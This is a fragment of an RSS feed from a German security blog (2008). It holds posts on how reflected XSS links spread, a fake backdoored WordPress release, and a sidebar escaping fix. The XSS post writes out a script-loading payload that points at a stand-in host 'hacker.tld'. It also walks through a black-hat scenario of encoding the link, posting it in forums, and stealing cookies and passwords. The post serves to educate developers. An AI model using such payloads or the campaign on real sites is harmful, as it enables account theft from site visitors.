<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/op_pres_102.mp3" length="18712" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/sw_aich_102.mp3" length="16784" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/ob_bern_102.mp3" length="20878" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/op_pfat_188.mp3" length="19498" type="audio/mpeg" />
<enclosure url="http://sprachatlas.bayerische-landesbibliothek-online.de/sound/ob_mitt_210_2.mp3" length="74255" type="audio/mpeg" />
		</item>
		<item>
		<title>XSS: Verbreitungsm&#246;glichkeiten</title>
		<link>http://meingottundmeinewelt.de/2008/11/26/xss-verbreitungsmoeglichkeiten/</link>
		<comments>http://meingottundmeinewelt.de/2008/11/26/xss-verbreitungsmoeglichkeiten/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 14:04:32 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1234</guid>
		<description><![CDATA[&#60;einschub&#62; Gestern schrieb ich noch: Auf xss-wp.18c.de habe ich ein WordPress installiert, in dem einige XSS-Demos gezeigt werden. Da WordPress von Haus aus keine, mir bekannte, XSS-L&#252;cke besitzt habe ich im Theme mit etwas unsicherem Code nachgeholfen. Da ich wei&#223; das immer irgendwo ein Bug stecken k&#246;nnte, habe ich &#8220;mir bekannte&#8221; eingeschoben. Und wie zur [...]]]></description>
			<content:encoded><![CDATA[<p>&lt;einschub&gt;<br />
Gestern schrieb ich noch:</p>
<blockquote><p>Auf <a href="http://xss-wp.18c.de/"  target="_blank">xss-wp.18c.de</a> habe ich ein WordPress installiert, in dem einige XSS-Demos gezeigt werden. Da WordPress von Haus aus keine, mir bekannte, XSS-L&#252;cke besitzt habe ich im Theme mit etwas unsicherem Code nachgeholfen.</p></blockquote>
<p>Da ich wei&#223; das immer irgendwo ein Bug stecken k&#246;nnte, habe ich &#8220;mir bekannte&#8221; eingeschoben. Und wie zur Unterstreichung meiner Annahme gab es auch gestern gleich ein Update von WordPress, auf <a href="http://blog.wordpress-deutschland.org/2008/11/25/wordpress-265-veroeffentlicht.html"  target="_blank" title="Link zu wordpress-deutschland.org">Version 2.6.5</a> (wordpress-deutschland.org), weil in der 2.6.3 zwei XSS-L&#252;cken stecken. Die Version 2.6.4 wird &#252;bersprungen, da es eine Fake-Version mit dieser Versionsnummer gab. “<a href="http://blogs.zdnet.com/security/?p=2129"  target="_blank" title="Link zu zdnet.com">Fake WordPress site distributing backdoored release</a>” (zdnet.com)<br />
&lt;/einschub&gt;<br />
<br class="clearboth" /></p>
<hr />
Aber nun zu den Verbreitungsm&#246;glichkeiten f&#252;r XSS-Links.</p>
<p>Die Art von Cross-Site Scripting bei der man in die URL etwas einf&#252;gt</p>
<p>http://domain.tld/pid=4715&amp;title=<strong>&quot;&gt;&lt;h1&gt;XSS&lt;/h1&gt;</strong></p>
<p>was dann irgendwo auf der WebSite wieder ausgegeben wird, nennt man <em>nicht-persistent oder reflektives Cross-Site Scripting</em>. Reflektiv &#8211; trifft es sehr gut, da der Browser per URL etwas sendet (u.a. auch den XSS-Code) und dieses dann selber wieder anzeigt.</p>
<p>Dies h&#246;rt sich im ersten Moment nicht so schlimm an &#8211; der Browser sendet etwas was er dann selber wieder anzeigt. Naja&#8230; da JavaScript im Browser fast alles darf, au&#223;er Dateien zu schreiben, ist damit eben u.a. auch die Aufzeichnung von Tastatureingaben m&#246;glich, wie ich gestern schon erw&#228;hnte.<br />
<br class="clearboth" /><br />
XSS mal betrachtet aus der Sicht eines BlackHat-Hackers.</p>
<ul>
<li>In dem Shop-XYZ habe ich eine XSS-L&#252;cke gefunden, &#252;ber die ich per<br />
&lt;script src=http://hacker.tld/xss.js&gt;&lt;/script&gt;<br />
mein eigenes JavaScript nachladen kann.</li>
<li>Die Bekanntheit des Shops ist sehr gro&#223;, da es ein Shop ist der schon seit Jahrzehnten im Versandhandel t&#228;tig ist und nun von den dicken, gedruckten Katalogen auf das Internet umsteigt.</li>
<li>Nun suche ich mir ein Produkt im Shop heraus welches beliebt ist. Mit der URL zum Produkt verkn&#252;pfe ich mein JavaScript, ich injiziere in die korrekte URL meinen Nachlade-Code.</li>
<li>Als Hacker benutze ich allerdings die codierte Form meiner Linkmanipulation:<br />
aus &lt;script src=http://hacker.tld/xss.js&gt;&lt;/script&gt;<br />
wird %3C%73%63%72%69%70%74%20%73%&#8230;<br />
Otto-Normal-User kann nicht erkennen was das ist, aber da er es schon von anderen WebSites gewohnt ist lange unverst&#228;ndliche URLs im Browser angezeigt zu bekommen, sch&#246;pft er keinen Verdacht.<br />
Auch hilft mir diese Codierung das verschiedene Browser diese URL ohne Fehlermeldung fressen.</li>
<li>In Foren und Web 2.0-Communities wird gerne nach Produktempfehlungen gefragt. Ich antworte dem Suchenden und da ich ja nett bin, gleich mit meinem Link zum Produkt.</li>
<li>Da nicht nur der eine, der gefragt hat, auf den Link klickt sondern alle die sich f&#252;r das Produkt interessieren, habe ich schon nach kurzer Zeit relativ viele Shop-Besucher die mein JavaScript benutzen&#8230;</li>
<li>Was mein JavaScript dann im Browser der Shop-Besucher alles anstellt&#8230; vom Aussp&#228;hen von Passworten und Cookies bis zum Nachladen von Viren, W&#252;rmern und Trojanern&#8230; bleibt mir, bzw. meinem Auftraggeber, &#252;berlassen.</li>
<li>Wenn der Shop Cookies schreibt, um den Shop-Besucher beim n&#228;chsten Einkauf widerzuerkennen und um ihm auch die Anmeldeprozedur, mit Benutzername und Passwort, abzunehmen&#8230; &#8211; tja, da besteht eine hohe Wahrscheinlichkeit das ich mir von meinem JavaScript die Daten der Anmelde-Cookies senden lasse.</li>
<li>Wenn in dem Shop dann auch noch die Passworte im Klartext gespeichert werden, dann kann ich nach dem Login mal kurz die E-Mail-Adresse &#228;ndern und mir per Passwort-Erinnerungs-Funktion das Passwort zusenden lassen, sofern es nicht schon irgendwo im myShop-Profil angezeigt wird.</li>
<li>Wenn mein Opfer zu den vielen Passwort-Recyclern geh&#246;rt und ein Passwort f&#252;r mehrere verschiedene WebSites (eBay, Paypal, Web.de, GMX, etc.) benutzt, so kann ich damit nat&#252;rlich noch etwas mehr Unfug anstellen&#8230; Vielleicht arbeitet er ja f&#252;r eine Firma, wo ich mich dann mit dem Passwort in deren Intranet einloggen kann?! Mal schauen was die Forschungsabteilung so treibt&#8230;</li>
</ul>
<p><br class="clearboth" /><br />
Zur Erg&#228;nzung:</p>
<blockquote><p>Persistentes (persistent) oder best&#228;ndiges (stored) Cross-Site Scripting unterscheidet sich vom reflektiven XSS prinzipiell nur dadurch, dass der Schadcode auf dem Webserver gespeichert wird, wodurch er bei jeder Anfrage ausgeliefert wird. Dies ist bei jeder Webanwendung m&#246;glich, die Benutzereingaben serverseitig speichert und diese sp&#228;ter wieder ausliefert, solange keine Pr&#252;fung der Benutzereingaben bzw. eine geeignete Kodierung der Ausgabe stattfindet.</p></blockquote>
<p>Quelle: <a href="http://de.wikipedia.org/wiki/Cross-Site_Scripting"  target="_blank" title="Link zu Wikipedia">de.wikipedia.org</a><br />
<br class="clearboth" /><br />
Es gibt nat&#252;rlich viele Variationen von dem was ein BlackHat-Hacker mit XSS-L&#252;cken anstellen kann:</p>
<ul>
<li>Die Anzeige von B&#246;rsenkursen auf einer WebSite gezielt manipulieren, in der Hoffnung das diese Manipulation zu der gew&#252;nschten echten Kursbewegung f&#252;hrt.</li>
<li>Nachrichten auf einer Zeitung-/Magazin-Seite manipulieren um &#196;ngste, Panik oder Kaufbereitschaft f&#252;r ein Produkt zu erzeugen.</li>
<li>Werbebanner zu Produkten einf&#252;gen. Es wird die Reputation einer WebSite genutzt um dubiose Produkte zu verkaufen oder um einen Imageverlusten der WebSite herbeizuf&#252;hren.</li>
<li>Persistentes XSS kann zur Steigerung von PageImpressions missbraucht werden, um die eigenen Besucherzahlen zu sch&#246;nen und um dem Werbekunden, auf Grund der hohen Besucherzahlen, einen h&#246;heren Preis zu berechnen.</li>
</ul>
<p><br class="clearboth" /><br />
<strong>Also liebe Entwickler, mal etwas &#252;ber den Tellerrand hinaus denken. Die kriminelle Energie und der Einfallsreichtum der BlackHat-Hacker ist unersch&#246;pflich.</strong><br />
<br class="clearboth" /><br />
Noch kurz etwas zu White-, Black- und GrayHat-Hackern:</p>
<blockquote>
<ul>
<li><strong>White-Hats (&#8220;Wei&#223;-H&#252;te&#8221;)</strong><br />
Verwenden ihr Wissen innerhalb sowohl der Gesetze als auch der Hackerethik, beispielsweise indem sie professionelle Penetrationstests ausf&#252;hren.</li>
<li><strong>Black-Hats (&#8220;Schwarz-H&#252;te&#8221;)</strong><br />
Handeln mit krimineller Energie und beabsichtigen beispielsweise, das Zielsystem zu besch&#228;digen oder Daten zu stehlen.</li>
<li><strong>Grey-Hats (&#8220;Grau-H&#252;te&#8221;)</strong><br />
Versto&#223;en m&#246;glicherweise gegen Gesetze oder restriktive Auslegungen der Hackerethik, allerdings zum Erreichen eines h&#246;heren Ziels. Beispielsweise durch die Ver&#246;ffentlichung von Sicherheitsl&#252;cken, um ein Leugnen unm&#246;glich zu machen und die Verantwortlichen dazu zu zwingen, diese zu beheben. Grey-Hats zeichnen sich dadurch aus, dass sie nicht eindeutig als &#8220;gut&#8221; oder &#8220;b&#246;se&#8221; einzustufen sind.</li>
</ul>
</blockquote>
<p>Quelle: <a href="http://de.wikipedia.org/wiki/Hacker_(Computersicherheit)"  target="_blank" title="Link zu Wikipedia">de.wikipedia.org</a></p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/11/26/xss-verbreitungsmoeglichkeiten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neue WordPress Version: WP 2.6.4 &#8230;</title>
		<link>http://meingottundmeinewelt.de/2008/11/07/neue-wordpress-version-wp-264/</link>
		<comments>http://meingottundmeinewelt.de/2008/11/07/neue-wordpress-version-wp-264/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 11:54:30 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1110</guid>
		<description><![CDATA[wurde von wordpresz.org angeboten. &#8220;Fake WordPress site distributing backdoored release&#8221; (zdnet.com) Die Domain wurde am 31. Oktober registriert. Gestern wurde ein Update durchgef&#252;hrt, bei dem wohl die IP-Adresse gel&#246;scht wurde, denn z.Zt. funktioniert kein Ping oder Traceroute. Leider (sorry &#60;g&#62;) funktioniert wordpresz.org nicht mehr, denn es interessiert mich nat&#252;rlich schon sehr wie die Jungs es [...]]]></description>
			<content:encoded><![CDATA[<p>wurde von <em>wordpre<strong>sz</strong>.org</em> angeboten.</p>
<p>&#8220;<a href="http://blogs.zdnet.com/security/?p=2129"  target="_blank" title="Link zu zdnet.com">Fake WordPress site distributing backdoored release</a>&#8221; (zdnet.com)</p>
<p>Die Domain wurde am 31. Oktober registriert. Gestern wurde ein Update durchgef&#252;hrt, bei dem wohl die IP-Adresse gel&#246;scht wurde, denn z.Zt. funktioniert kein Ping oder Traceroute.</p>
<p>Leider (sorry &lt;g&gt;) funktioniert <em>wordpresz.org</em> nicht mehr, denn es interessiert mich nat&#252;rlich schon sehr wie die Jungs es geschafft haben, das man im Backend seines Blogs eine Meldung zu einem neu angebotenen Update angezeigt bekommt.</p>
<p>Ich vermute mal das an dem Problem nicht alleine WordPress schuld ist, evtl. ein korruptes Plugin, offene Server die Uploads erm&#246;glichen oder sonst irgendetwas, was nichts mit der WP-Installation selber zutun hat.</p>
<p>Der Faker hat einen sehr dummen Fehler gemacht &#8211; was aber auch ein Gl&#252;ck f&#252;r viele ist &#8211; er hat den falschen Zeitpunkt gew&#228;hlt. Wenn er kurz nachdem ein echtes Update angeboten wird seine Aktion gestartet h&#228;tte, dann w&#228;ren sicher sehr viel mehr Blogs verseucht worden.</p>
<p>Craig Murphy war eines der Opfer die der Faker fast erwischt h&#228;tte:<br />
&#8220;<a href="http://www.craigmurphy.com/blog/?p=874"  target="_blank" title="Link zu craigmurphy.com">WordPresz 2.6.4 &#8211; fake?</a>&#8221; (craigmurphy.com/blog/)</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/11/07/neue-wordpress-version-wp-264/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Default-Theme fixen</title>
		<link>http://meingottundmeinewelt.de/2008/10/24/wordpress-default-theme-fixen/</link>
		<comments>http://meingottundmeinewelt.de/2008/10/24/wordpress-default-theme-fixen/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 16:19:51 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=1009</guid>
		<description><![CDATA[Noch einmal ein WordPress-Update&#8230; und das an einem Tag&#8230; ;O) &#8220;Sicherheitsproblem mit dem default-Theme&#8221; (blog.wordpress-deutschland.org) In dem Default-Theme steckt ein Bug, allerdings nur in der lokalisierten Version, also f&#252;r alle die die deutschsprachige Version benutzen: &#8220;WordPress Default DE-Edition&#8221; Wenn man das Theme benutzt und selber &#196;nderungen im Quellcode der Sidebar vorgenommen hat, dann ist das [...]]]></description>
			<content:encoded><![CDATA[<p>Noch einmal ein WordPress-Update&#8230; und das an einem Tag&#8230; ;O)</p>
<p>&#8220;<a href="http://blog.wordpress-deutschland.org/2008/10/24/sicherheitsproblem-mit-dem-default-theme.html"  target="_blank" title="Link zu blog.wordpress-deutschland.org">Sicherheitsproblem mit dem default-Theme</a>&#8221; (blog.wordpress-deutschland.org)</p>
<p>In dem Default-Theme steckt ein Bug, allerdings nur in der lokalisierten Version, also f&#252;r alle die die deutschsprachige Version benutzen: &#8220;WordPress Default DE-Edition&#8221;</p>
<p>Wenn man das Theme benutzt und selber &#196;nderungen im Quellcode der Sidebar vorgenommen hat, dann ist das einfache Ersetzen der sidebar.php nicht wirklich sinnvoll. ;O)</p>
<p>In Zeile 33 wurde das wp_specialchars() hinzugef&#252;gt. Die Zeilennummer ist nat&#252;rlich nur die 33 wenn man davor nicht irgendetwas hinzugef&#252;gt oder gel&#246;scht hat&#8230; ist ja klar, also einfach nach dem Inhalt suchen.</p>
<p>In Zeile 33 der urspr&#252;nglichen alten sidebar.php steht:<br />
<code>&lt;p&gt;&lt;?php printf(__('You have searched the &lt;a href=&quot;%1$s/&quot;&gt;%2$s&lt;/a&gt; blog archives for &lt;strong&gt;&amp;#8216;%3$s&amp;#8217;&lt;/strong&gt;. If you are unable to find anything in these search results, you can try one of these links.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), get_search_query()); ?&gt;&lt;/p&gt;</code></p>
<p>und in der gefixten Version:<br />
<code>&lt;p&gt;&lt;?php printf(__('You have searched the &lt;a href=&quot;%1$s/&quot;&gt;%2$s&lt;/a&gt; blog archives for &lt;strong&gt;&amp;#8216;%3$s&amp;#8217;&lt;/strong&gt;. If you are unable to find anything in these search results, you can try one of these links.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), wp_specialchars(get_search_query(), true)); ?&gt;&lt;/p&gt;</code></p>
<p>Das Austauschen dieser einen Zeile sollte das Problem beheben.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/10/24/wordpress-default-theme-fixen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
